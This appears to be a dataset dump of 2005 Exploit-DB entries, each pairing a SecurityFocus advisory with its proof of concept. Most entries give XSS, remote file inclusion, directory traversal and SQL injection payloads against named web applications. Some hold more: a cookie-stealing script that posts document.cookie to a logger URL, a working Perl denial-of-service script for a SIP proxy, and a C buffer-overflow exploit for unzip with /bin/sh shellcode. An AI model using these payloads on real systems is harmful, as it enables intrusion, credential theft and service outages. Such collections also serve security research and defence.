QLWD/code_shield huggingface dataset:
标题: Commercial Interactive Media SCOOP! 2.3 - 'lostPassword.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26941 CVE: 2005-4490 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16015/info
 
Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/lostPassword.asp?username=[XSS] URL: https://www.exploit-db.com/exploits/26941
标题: ComputerOil Redakto CMS 3.2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26937 CVE: 2005-4488 类型: WEBAPPS 平台: CGI 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16013/info

ComputerOil Redakto CMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Redakto version 3.2 reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/index.tpl?iid=[XSS]
http://www.example.com/index.tpl?iid=l3a1b3&#9001;=[XSS]
http://www.example.com/index.tpl?iid=l3a1b3&#9001;=1&iid2=[XSS]
http://www.example.com/index.tpl?iid=l3a1b3&#9001;=1&iid2=3&r=[XSS]
http://www.example.com/index.tpl?iid=l093a1b1&#9001;=1&iid2=[iid2]&r=[r]&cart=[XSS]
http://www.example.com/index.tpl?iid=l093a1b1&#9001;=1&iid2=[iid2]&r=[r]&cart=11351542306899006&str=[XSS]
http://www.example.com/index.tpl?a=search_adv&cart=11351544339319101&#9001;=1&iid=13&nf=[XSS]
http://www.example.com/index.tpl?a=[XSS] URL: https://www.exploit-db.com/exploits/26937
标题: Commercial Interactive Media SCOOP! 2.3 - 'articleSearch.asp' Cross-Site Scripting EDB-ID: 26940 CVE: 2005-4490 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16015/info

Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/articleSearch.asp?keywords=[XSS] URL: https://www.exploit-db.com/exploits/26940
标题: IntranetApp 3.3 - 'login.asp?ret_page' Cross-Site Scripting EDB-ID: 26928 CVE: 2005-4484 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16010/info

IntranetApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 3.3. and prior are vulnerable; other versions may also be affected. 

http://www.example.com/login.asp?ret_page=[XSS] URL: https://www.exploit-db.com/exploits/26928
标题: ProjectApp 3.3 - 'default.asp?skin_number' Cross-Site Scripting EDB-ID: 26936 CVE: 2005-4485 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16011/info
      
ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/default.asp?skin_number=[XSS] URL: https://www.exploit-db.com/exploits/26936
标题: Commercial Interactive Media SCOOP! 2.3 - 'account_login.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26942 CVE: 2005-4490 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16015/info
  
Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
  
Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/account_login.asp?Username=[XSS]
http://www.example.com/account_login.asp?Password=[XSS] URL: https://www.exploit-db.com/exploits/26942
标题: ProjectApp 3.3 - 'login.asp?ret_page' Cross-Site Scripting EDB-ID: 26935 CVE: 2005-4485 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16011/info
     
ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/login.asp?ret_page=[XSS] URL: https://www.exploit-db.com/exploits/26935
标题: ProjectApp 3.3 - 'forums.asp?keywords' Cross-Site Scripting EDB-ID: 26930 CVE: 2005-4485 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16011/info

ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forums.asp?keywords=[XSS] URL: https://www.exploit-db.com/exploits/26930
标题: Scoop 1.1 RC1 Search Module - Multiple Cross-Site Scriptings EDB-ID: 26938 CVE: 2005-4489 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16014/info

Scoop is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Scoop 1.1 RC1 is reportedly vulnerable to these issues; prior versions may also be affected. 

http://www.example.com/?op=search&offset=0&old_count=30&type=[XSS]
http://www.example.com/?op=search&offset=0&old_count=30&type=story&topic=&section=&string=r0t&count=1[XSS] URL: https://www.exploit-db.com/exploits/26938
标题: ProjectApp 3.3 - 'links.asp?keywords' Cross-Site Scripting EDB-ID: 26933 CVE: 2005-4485 类型: WEBAPPS 平台: CGI 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16011/info
   
ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/links.asp?keywords=[XSS] URL: https://www.exploit-db.com/exploits/26933
标题: ProjectApp 3.3 - 'cat.asp?keywords' Cross-Site Scripting EDB-ID: 26932 CVE: 2005-4485 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16011/info
  
ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/cat.asp?keywords=[XSS] URL: https://www.exploit-db.com/exploits/26932
标题: IntranetApp 3.3 - 'content.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26929 CVE: 2005-4484 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16010/info
 
IntranetApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
Version 3.3. and prior are vulnerable; other versions may also be affected. 

http://www.example.com/content.asp?CatId=&ContentType=&keywords=r0t&search=%3E&do_search=[XSS]

http://www.example.com/content.asp?CatId=&ContentType=&keywords=r0t&search=[XSS] URL: https://www.exploit-db.com/exploits/26929
标题: ProjectApp 3.3 - 'search_employees.asp?keywords' Cross-Site Scripting EDB-ID: 26931 CVE: 2005-4485 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16011/info
 
ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/search_employees.asp?keywords=[XSS] URL: https://www.exploit-db.com/exploits/26931
标题: ProjectApp 3.3 - 'pmprojects.asp?projectid' Cross-Site Scripting EDB-ID: 26934 CVE: 2005-4485 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16011/info
    
ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/pmprojects.asp?projectid=[XSS] URL: https://www.exploit-db.com/exploits/26934
标题: AbleDesign D-Man 3.0 - 'Title' Cross-Site Scripting EDB-ID: 26919 CVE: 2005-4435 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/15993/info

D-Man is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'title' parameter.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. 

http://www.example.com/index.php?go=admin&do=do_search&du=usergroup&title=[code]&search=single URL: https://www.exploit-db.com/exploits/26919
标题: PortalApp 3.3/4.0 - 'login.asp' Cross-Site Scripting EDB-ID: 26926 CVE: 2005-4482 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16008/info

PortalApp is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

PortalApp 4.0 and prior are vulnerable. 

http://www.example.com/login.asp?ret_page=[XSS] URL: https://www.exploit-db.com/exploits/26926
标题: OpenEdit 4.0 - Results.HTML Cross-Site Scripting EDB-ID: 26924 CVE: 2005-4476 类型: WEBAPPS 平台: JSP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16004/info

OpenEdit is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

/store/search/results.html?query=&department=&oe-action=[XSS]
/store/search/results.html?page=[XSS] URL: https://www.exploit-db.com/exploits/26924
标题: Papaya CMS 4.0.4 - Cross-Site Scripting EDB-ID: 26925 CVE: 2005-4477 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16005/info

papaya CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Proof of concept is available:
/suche.153.html?bab[page]=6&bab[searchfor]=[XSS] URL: https://www.exploit-db.com/exploits/26925
标题: SiteEnable 3.3 - 'login.asp' Cross-Site Scripting EDB-ID: 26927 CVE: 2005-4483 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16009/info

SiteEnable is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 3.3. and prior are vulnerable; other versions may also be affected. 

http://www.example.com/login.asp?ret_page=[XSS] URL: https://www.exploit-db.com/exploits/26927
标题: Tolva 0.1 - 'Usermods.php' Remote File Inclusion EDB-ID: 26921 CVE: 2005-4462 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16000/info

Tolva is prone to a remote file-include vulnerability.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/twebs/modules/misc/usermods.php?ROOT=http://www.example.com URL: https://www.exploit-db.com/exploits/26921
标题: Interaction SIP Proxy 3.0 - Remote Heap Corruption Denial of Service EDB-ID: 26922 CVE: 2005-4466 类型: DOS 平台: MULTIPLE 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16001/info

Interaction SIP Proxy is susceptible to a remote denial of service vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied input data, resulting in a heap memory corruption.

This issue allows remote attackers to crash the affected server application, denying further telephony service to legitimate users. It may be possible to exploit this issue for remote code execution, but this has not been confirmed.

Version 3.0.010 of Interaction SIP Proxy is vulnerable to this issue; other versions may also be affected. 

#! /usr/bin/perl

##
#i3 SIP Proxy POC - http://www.hat-squad.com/en/000171.html
#This vulnerability allows a remote user to overwrite heap memory of i3sipproxy.
#The request size varies, but size=2900 bytes works in most of the cases. Successful
#exploitation of this bug for code executuion requires a magic combination of 
#pre-allocations, data and size.
#
 
use strict; 
use IO::Socket::INET;

my $host = shift(@ARGV); 
my $size = shift(@ARGV);
my $port=5060;

print "\n\n Interactive SIP proxy heap corruption POC \n\n";
print " By Behrang Fouladi, Hat-Squad Security Team \n\n";
print(" Usage: perl $0 <target> <size> \n\n"),exit if(!$host || !$size);
my $iaddr=inet_aton($host) || die ("Unable to resolve $host");

socket(DoS,PF_INET,SOCK_DGRAM,17);

my $sip= "REGISTER sip:test\@test.com SIP/";
$sip.= "\x20"x$size;
$sip.= "\r\n";
$sip.= "Via: SIP/2.0/TCP 192.168.0.1:7043";
$sip.= "\r\n";
$sip.= "Max-Forwards: 70\r\n";
$sip.= "From: <sip:test\@test.com>;tag=ec8c2399e9\r\n";
$sip.= "To: <sip:test\@test.com>\r\n";
$sip.= "Call-ID: 1b6c7397b109453c93d85edc88d9810e\r\n";
$sip.= "CSeq: 1 REGISTER\r\n";
$sip.= "Contact: <sip:test\@test.com;transport=udp>;methods=\"INVITE, MESSAGE, INFO, SUBSCRIBE, OPTIONS, BYE, CANCEL, NOTIFY, ACK, REFER, BENOTIFY\";proxy=replace\r\n";
$sip.= "Content-Length: 0\r\n";
$sip.= "\r\n";

send(DoS,$sip,0,sockaddr_in($port,$iaddr));
print " Exploit Sent to $host...\n";
print " The SIP Proxy should crash now.\n\n";
exit(0); URL: https://www.exploit-db.com/exploits/26922
标题: Beehive Forum 0.6.2 - Multiple HTML Injection Vulnerabilities EDB-ID: 26923 CVE: 2005-4460 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16002/info

Beehive Forum is prone to multiple HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit these issues to control how the site is rendered to the user; other attacks are also possible. 

<script>document.location.replace='http://www.example.com/cgi-bin/evil_cookie_logger.cgi?'+document.cookie</script> URL: https://www.exploit-db.com/exploits/26923
标题: Extensis Portfolio Netpublish Server 7.0 - Server.NP Directory Traversal EDB-ID: 26914 CVE: 2005-4510 类型: WEBAPPS 平台: CGI 发布日期: 2005-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/15974/info

Portfolio Netpublish Server is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to retrieve arbitrary files in the context of the affected application. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.

Netpublish Server 7 is vulnerable; other versions may also be affected. 

http://www.example.com/server.np?base&site=XXXintra&catalog=catalog&template=../../../../../../../../../boot.ini URL: https://www.exploit-db.com/exploits/26914
标题: Enterprise Connector 1.0.2 - 'main.php' SQL Injection EDB-ID: 26916 CVE: 2005-4563 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/15984/info

Enterprise Connector is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following proof of concept is available:
username 'or isnull(1/0) /*
password (no password required) URL: https://www.exploit-db.com/exploits/26916
标题: Plogger Beta 2 - Remote File Inclusion EDB-ID: 26918 CVE: 2005-4573 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/15992/info

Plogger is prone to a remote file include vulnerability.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the Web server process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. 

http://www.example.com/PATH/admin/plog-admin-functions.php?config[basedir]=http://www.example.com/[code] URL: https://www.exploit-db.com/exploits/26918
标题: LiveJournal - Cleanhtml.pl HTML Injection EDB-ID: 26917 CVE: 2005-4454 类型: WEBAPPS 平台: CGI 发布日期: 2005-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/15990/info

LiveJournal is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

Example HTML exploit code has been provided:

<span style="background:url('javas\cript:(function x(){alert("boo")})();');">test</span> URL: https://www.exploit-db.com/exploits/26917
标题: Info-ZIP UnZip 5.x - File Name Buffer Overflow EDB-ID: 26913 CVE: 2005-4667 类型: REMOTE 平台: LINUX 发布日期: 2005-12-19 漏洞利用脚本: // source: https://www.securityfocus.com/bid/15968/info

Info-ZIP 'unzip' is susceptible to a filename buffer-overflow vulnerability. The application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

This issue allows attackers to execute arbitrary machine code in the context of users running the affected application. 

/*
By DVDMAN (DVDMAN@L33TSECURITY.COM)dvdman@snosoft.com
http://www.snosoft.com
http://WWW.L33TSECURITY.COM
L33T SECURITY
Keep It Private

based on code by hackbox.ath.cx
 > wget http://hackbox.ath.cx/mizc/unzip-expl.c

lame unzip <= 5.50
tested on redhat 7.2
By DVDMAN
L33TSECURITY.COM
*/


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define MAX "\x39\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
#define BUF 3264+1900+20000
#define LOC 3262
#define OFFSET 700 // brute force it
char fakechunk[] = "\xf0\xff\xff\xff"
"\xfc\xff\xff\xff"
"\xde\x16\xe8\x77"
"\x42\x6c\xe8\x77";
char execshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89"
"\xc2\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\x40"
"\xcd\x80"; /* newroot's shellcode */

int
main (int argc, char *argv[])
{

char buf[BUF + 1];
int x;
char *ptr;
int i=0,offset=OFFSET;
unsigned long addy = 0xbffffab0;
if (argc < 2) {
printf("[L33TSECURITY]");
printf("UNZIP EXPLOIT BY DVDMAN ");
printf("[L33TSECURITY]\n");
printf("[Usage] %s Offset\n",argv[0]);
return;
}
if (argc > 1) offset = atoi(argv[1]);

memset(buf,0x90,BUF);
ptr = buf + ((BUF) - strlen(execshell));

for (i=0;i<strlen(execshell);i++)
*(ptr++) = execshell[i];

*(long*)&buf[LOC] = addy + offset;
*(long*)&buf[LOC+4] = addy + offset;

buf[BUF] = 0;
if (buf < MAX) {
x = atoi(fakechunk + 2);
memset(buf,x,BUF);
execl("/usr/bin/unzip","unzip",buf,NULL);
}
execl("/usr/bin/unzip","unzip",buf,fakechunk,NULL);
return;
} URL: https://www.exploit-db.com/exploits/26913